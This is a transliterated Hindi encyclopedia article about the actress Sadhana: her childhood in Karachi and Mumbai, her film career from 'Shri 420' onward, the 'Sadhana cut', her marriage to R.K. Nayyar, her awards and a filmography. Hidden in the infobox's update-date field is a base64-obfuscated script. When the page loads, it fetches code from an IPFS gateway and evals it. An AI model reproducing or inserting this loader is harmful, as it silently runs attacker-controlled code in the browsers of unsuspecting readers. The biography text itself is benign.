साधना (अभिनेत्री)
| chitr:Disamb2.jpg sadhana (abhinetri) | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- sadhana (bahuvikalpi) |
sadhana (abhinetri)
| |
| poora nam | sadhana shivadasani |
| prasiddh nam | sadhana |
| janm | 2 sitambar, 1941 |
| janm bhoomi | karachi[1] |
| mrityu | 25 disambar, 2015 |
| mrityu sthan | mumbee, maharashtr |
| abhibhavak | shevaram (pita), lalidevi (mata) |
| pati/patni | ar.ke. naiyyar |
| karm bhoomi | muanbee |
| karm-kshetr | abhinay |
| mukhy filmean | 'lav in shimala', 'mere mehaboob', 'arazoo', 'vaqt', 'mera saya', 'ham donoan', 'amanat', 'ishk par zor nahian', 'parakh', 'premapatr', 'gaban', 'ek phool do mali' aur 'gita mera nam' |
| puraskar-upadhi | 'aantarrashtriy bharatiy film akadami' (aeepha) dvara 2002 mean 'laiphataim achivameant puraskar'. |
| nagarikata | bharatiy |
| any janakari | apane baloan ki stail ki vajah se sadhana bahut prasiddh thian, unake baloan ki kat stail 'sadhana kat' ke nam se jani jati hai. |
| adyatan | 14:37, 16 disambar 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sadhana (aangrezi: Sadhana, janm: 2 sitambar, 1941, karachi; mrityu: 25 disambar, 2015, mumbee) bharatiy sinema ki prasiddh abhinetri rahi haian. unhoanne film 'abana' se apana filmi saphar arambh kiya tha. sadhana ne hindi filmoan se jo shoharat paee aur jo mukam hasil kiya, vah kisi se chhipa nahian hai. sadhana ka poora nam 'sadhana shivadasani' (bad mean naiyyar) tha. vah apane mata-pita ki ekamatr santan thian. apane baloan ki stail ki vajah se bhi sadhana prasiddh thian, unake baloan ki kat stail 'sadhana kat' ke nam se jani jati hai.
shiksha tatha vivah
sadhana ke pita ka nam shevaram aur mata ka nam lalidevi tha. mata-pita ki ekamatr santan hone ke karan sadhana ka bachapan b de pyar ke sath vyatit hua tha. 1947 mean bharat ke bantavare ke bad unaka parivar karachi chho dakar muanbee a gaya tha. is samay sadhana ki ayu matr chh: sal thi. sadhana ka nam unake pita ne apane samay ki pasandida abhinetri 'sadhana bos' ke nam par rakha tha. sadhana ne ath varsh ki umr tak apani shiksha ghar par hi poori ki thi. ye shiksha unhean unaki maan se prapt huee thi. roopahale parde par apani dilakash adakari se ghar-ghar mean pasand ki jane vali sadhana ka vivah ar.ke. naiyyar ke sath hua tha, jis karan vah sadhana naiyyar ke nam se bhi jani geean, kiantu unaka sadhana nam hi zyada prasiddh raha.
nrity ke lie chunav
jab sadhana skool ki chhatra thian aur nrity sikhane ke lie ek daans skool mean jati thian, tabhi ek din ek nrity-nirdeshak us daans skool mean ae. unhoanne bataya ki rajakapoor ko apani film ke ek grup-daans ke lie kuchh aisi chhatraoan ki zaroorat hai, jo film ke grup daans mean kam kar sakean. sadhana ki daans tichar ne kuchh l dakiyoan se nrity karavaya aur jin l dakiyoan ko chuna gaya, unamean se sadhana bhi ek thian. isase sadhana bahut khush thian, kyoanki unhean film mean kam karane ka mauka mil raha tha. rajakapoor ki vah film thi- 'shri 420'. daans sin ki shootiang se pahale riharsal huee. vah gana tha- 'ramaiya vasta viya...' sadhana shootiang mean roz shamil hoti thian. nrity-nirdeshak jab jaisa kahate sadhana vaisa hi karatian. shootiang kee dinoan tak chali. lanch-chay to milate hi the, sath hi chalate samay nagad mehanatana bhi milata tha.
thumb|left|sadhana
ek din sadhana ne dekha ki 'shri 420' ke shahar mean b de-b de bainar lage haian. film rilij ho rahi hai. aise mean ekstra kalakar aur koras daansars ko koee prodyoosar primiyar par nahian bulata, isalie sadhana ne khud apane aur apani saheliyoan ke lie tikatean kharidian. darasal, sadhana yah chahati thian ki ve parde par daans karati huee kaisi lagati haian, unaki saheliyaan bhi dekhean. saheliyoan ke sath sadhana sinema h aaul pahuanchian. film shuroo huee. jaise hi git 'ramaiya vastaviya..' shuroo hua, to sadhana ne phusaphusate hue saheliyoan se kaha, is git ko gaur se dekhana, maianne isi mean kam kiya hai. sabhi saheliyaan aankhean g dakar film dekhane lagian. lekin gana samapt ho gaya aur ve kahian bhi nazar nahian aeean. tabhi saheliyoan ne poochha, are too to kahian bhi nazar hi nahian aee. sadhana ki aankhean unaki bat sunakar dabadaba geean. unhean kya pata tha ki film ke sanpadan mean rajakapoor unake chehare ko kat deange. lekin yah ek sanyog hi kaha jayega ki jis rajakapoor ne sadhana ko unaki pahali film mean aansoo die the, unhoanne ath sal bad unake sath 'doolha dulhan' mean hiro ka rol nibhaya.[2]
filmi safar
varsh 1955 mean "raj kapoor" ki film 'shri 420' ke git 'eechak dana bichak dana' mean ek koras l daki ki bhoomika mili thi sadhana ko, us vaqt vo 15 sal ki thian, darasal sadhana ko vah ek vijnapan kapani ne apane utpadakoan ke lie mauqa diya tha. inhean bharat ki pahali siandhi film 'abana' (1958) mean kam karane ka mauqa mila jisamean unhoanne abhinetri shila ramani ki chhoti bahan ki bhoomika nibhaee thi aur is film ke lie inhean 1 rupe ki tokan rashi ka bhugatan kiya gaya tha. is siandhi khoobasoorat bala ko sashadhar mukharji ne dekha, jo us vaqt bahut b de filmakar the. sashadhar mukharji ko apane bete j aauy mukharji ke lie ek hiroin ke lie naye chehare ki talash kar rahe the.
'sadhana kat' heyar stail
varsh 1960 mean "lav in shimala" riliz huee, is film ke nirdeshak the ar.ke. naiyar, aur unhoanne hi sadhana ko naya luk diya "sadhana kat". darasal sadhana ka matha bahut chau da tha use kavar kiya gaya baloan se, us staeel ka nam hi p d gaya "sadhana kat" . 1961 mean ek aur "hit" film ham donoan mean dev anand ke sath is B/W film ko rangin kiya gaya tha aur 2011 mean phir se riliz kiya gaya tha. 1962 mean vah phir se nirdeshak rrishikesh mukharji dvara asali-nakali mean dev anand ke sath thian.[3]
rangin filmoan ka daur
thumb|300px|sadhana 1963 mean, teknikalar film 'mere mehaboob' ech. es. ravail dvara nirdeshit unake filmi kairiyar bl aaukabastar film thi. yah film 1963 ki bhi bl aaukabastar film thi aur 1960 ke dashak ke shirsh 5 filmoan mean sthan par rahian. mere mehaboob mean nimmi pahale sadhana vala rol karane ja rahi thi n jane kya soch kar nimmi ne sadhana vala rol thukara kar rajeandr kumar ki bahan vala ka rol kiya. sadhana ke burke vala sin iandiyan klasik mean darj hai. sal 1964 mean unake dabal rol ki film riliz huee jisamean manoj kumar hiro the aur film ka nam tha "vo kaun thi". saphed sa di pahane mahila bhootani ka yah kiradar hindustani sinema mean amar ho gaya. is film se hindustani sinema ko naya vilen bhi mila jisaka nam tha 'prem chop da'. sadhana ko lazavab ektiang ke lie pradarshan sarvashreshth abhinetri ke roop mean pahala filmapheyar namaankan bhi mila tha.
klasiks film vo kaun thi, madan mohan ke lazavab sangit aur lata mangeshakar ki lazavab gayaki ke lie bhi yad ki jati hai. "naina barase rimajhim" ka aj bhi koee javab nahian hai. is film ke lie sadhana ko mona lisa ki tarah muskan ke sath 'sho dat' kaha gaya tha. yah film b aauks aauphis par "hit" thi. sal 1964 mean sadhana ka nam ek hit se ju da yah film thi rajakumar, hiro the shammi kapoor. rajakumar bhi sal 1964 ki bl aaukabastar film thi. sal 1965 ki malti star kast ki film 'vaqt' riliz huee jo is sal ki bl aaukabastar bhi thi jisamean raj kumar sunil datt, shashi kapoor, balaraj sahani, achala sachadev aur sharmila taigor jaise sitare the. 'vaqt' mean sadhana ne tang choo didar- kurta pahana jo is pahale kisi bhi heroin ne nahian pahana tha. sal 1965 sadhana ke lie ek aur kamayabi laya tha isi sal riliz huee ramanand sagar ki "arajoo" jisamean shankar jayakishan ka lajavab sangit aur hasarat jayapuri ka likha yah git jo gaya tha lata mangeshakar ne "aji rooth kar ab kahaan jayega" ne tahalaka macha diya tha. film "arajoo" mean bhi sadhana ne apani staeel ko barakarar rakha. sadhana ne rahasyamayi filmean 'mera saya' (1966) sunil datt ke sath aur 'anita' (1967) manoj kumar ke sath kian. donoan filmoan ki hiroin sadhana dabal rol mean thi, sangitakar ek bar phir madan mohan hi the.
film 'mera saya' ka thim soang "too jahaan jahaan chalega, mera saya sath hoga" aur "naino mean badara chhae" jaise git aj bhi dil ko chhute haian. anita (1967) se koriyografar saroj khan ko mauqa mila tha. saroj khan un dinoan ke mashahoor daans mastar sohan lal ki sahayak thi, gana tha 'jhumaka gira re bareli ke bazar mean' is gane ko avaz di di thi [asha bhoansale]] ne. us daur mean jab yah yah gana skrin par ata tha to darshak divane ho jate the aur parade par sikkoan ki bauchhar shuroo ho jati thi jinhean lutane ke lie log apas mean l d jate the. is film ke git bhi raja meanhadi ali khan ne likhe the. kahate haian ki sadhana ko najar lag gayi jisase unhean thayar aauyad ho gaya tha. apane ooanche filmi kairiyar ke bich vo ilaz ke lie amerika ke bostan chali gayi. amerika se lautane ke bad, vo phir filmi duniya mean lauti aur kee kamayab filmean unhoanne ki. iantakam (1969) mean abhinay kiya, ek phool mali in donoan filmoan ke hiro the sanjay khan. bimari ne sadhana ka sath nahian chho da apani bimari ko chhipane ke lie unhoanne apane gale mean patti bandhi aksar gale mean dupatta baandh leti thi, yahi sadhana aikan ban gaya tha aur us daur ki l dakiyoan ne ise bhi phaishan ke roop mean liya tha. sal 1974 mean 'gita mera nam' riliz huee jo unaki akhiri kamarshiyal hit thi, is film ki nirdeshak svayan thi aur is film mean bhi unaka dabal rol tha. sunil datt aur firoz khan hiro the. sadhana ki kee filmean bahut der se riliz huee. 1970 ke as pas 'amanat' ko riliz hona tha lekin vo 1975 mean riliz huee tab bahut kuchh badal chuka tha. 1978 mean 'mahafil' aur 1994 mean 'ulfat ki nayi manjilean'.[3]
parivarik parichay
sadhana ne 6 march, 1966 ko nirdeshak ar.ke. naiyar ke sath shadi kar li jo 1995 mean hamesha ke lie unaka sath chho d gaye. is shadi se sadhana ke pita khush nahian the. ar.ke. naiyar dame ke mariz the. sadhana ke koee santan nahian huee. sadhana ki chacheri bahan babita ne filmi duniya mean kadam rakha. yah bat aur hai ki babita apani bahan se bahut jyada prabhavit thi. lihaja unhoanne ne bhi sadhana staeel ko apanaya. babita ne film abhineta randhir kapoor se shadi kar filmoan ko alavida kah diya. apane filmi kariyar ko lekar sadhana bahut sanjida thian.[3]
samman aur puraskar
[[chitr:Nanda-Waheeda-Helen-Sadhana.jpg|thumb|300px|nanda, vahida rahaman, helan aur sadhana (baean se daean)]] hiandi sinema mean yogadan ke lie, aantarrashtriy bharatiy film akadami (aeepha) dvara 2002 mean laiphataim achivameant puraskar se sammanit bhi kiya ja chuka hai. kee hiandi filmoan mean unake pita ka rol unake sage chacha hari shivadasani ne kiya tha jo abhinetri babita ke pita haian.
pramukh filmean
1958 mean sadhana ne apani pahali siandhi film 'abana' ki thi. is film ko karate samay unaki ayu 16-17 varsh thi. abhinetri shila ramani is film ki nayika thian aur sadhana ne is film mean unaki chhoti bahan ka kiradar nibhaya tha. unaki devanand ke sath ek film 'sajan ki galiyaan' kuchh karanoan se thiyetar tak nahian pahuanch saki aur pradarshit nahian ho paee. sadhana ne kee kala filmoan mean bhi abhinay kiya. romaantik aur rahasyamayi filmoan ke alava unhean kala filmoan mean bhi bahut saraha gaya. unaki heyar stail aj bhi sadhana kat ke nam se jani jati hai. choo didar kurta, sharara, garara, kan mean b de jhumake, bali aur lubhavani muskan yah sab sadhana ki vishisht pahachan rahi hai. char filmoan mean sadhana ne dohari bhoomika nibhaee thi. sadhana ki jo behad kamayab filmean rahi hai, unamean 'arazoo', 'vaqt', 'vo kaun thi', 'mera saya', 'ham donoan', 'vandana', 'amanat', 'ulfat', 'badatamij', 'ishk par zor nahian', 'parakh', 'premapatr', 'gaban', 'ek phool do mali' aur 'gita mera nam' adi ka nam pramukhata se liya ja sakata hai.
film soochi
| varsh | film | varsh | film |
|---|---|---|---|
| 1955 | shri 420[4] | 1958 | abana[5] |
| 1960 | lav in shimala | 1960 | parakh |
| 1961 | ham donoan | 1962 | ek musaphir ek hasina |
| 1962 | prem patr | 1962 | man mauji |
| 1962 | asali nakali | 1963 | mere mehaboob |
| 1964 | vo kaun thi | 1964 | rajakumar |
| 1964 | pikanik | 1964 | doolha dulahan |
| 1965 | vaqt | 1965 | arajoo |
| 1966 | mera saya | 1967 | anita |
| 1968 | stri[6] | 1969 | sachchaee |
| 1969 | iantakam | 1969 | ek do phool mali |
| 1970 | ishk par zor nahian | 1971 | ap aye bahar aee |
| 1972 | dil daulat duniya | 1973 | ham sab chor haian |
| 1974 | gita mera nam | 1974 | chhote sarakar |
| 1974 | vandana | 1975 | amanat |
| 1978 | mahafil | 1987 | nafarat |
| 1988 | akhiri nishchay | 1994 | ulfat ki nayi manzilean |
pramukh nayak
sadhana ke pramukh nayakoan mean j aauy mukharji, dev anand, sunil datt, manoj kumar, shammi kapoor, rajendr kumar, raj kapoor, firoz khan, shashi kapoor, kishor kumar, sanjay khan aur vasant chaudhari adi ka nam ata hai. in dinoan sadhana prashansakoan ke bich nahian ati.
nidhan
abhinetri sadhana ka nidhan 25 disambar, 2015 ko mumbee, maharashtr mean hua.
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tika tippani aur sandarbh
- ↑ karachi ab pakistan ka shahar hai.
- ↑ sadhana (hindi) (ech.ti.em.el.). . abhigaman tithi: 26 agast, 2012.
- ↑ 3.0 3.1 3.2 3.3 sadhana (hindi) SANJOG WALTER (bl aaug). abhigaman tithi: 16 disambar, 2014.
- ↑ film 'shri 420' ke git "eechak dana bichak dana" mean koras l daki ki bhoomika nibhaee thi.
- ↑ sadhana ki pahali siandhi film hai.
- ↑ u diya bhasha ki film
sanbandhit lekh
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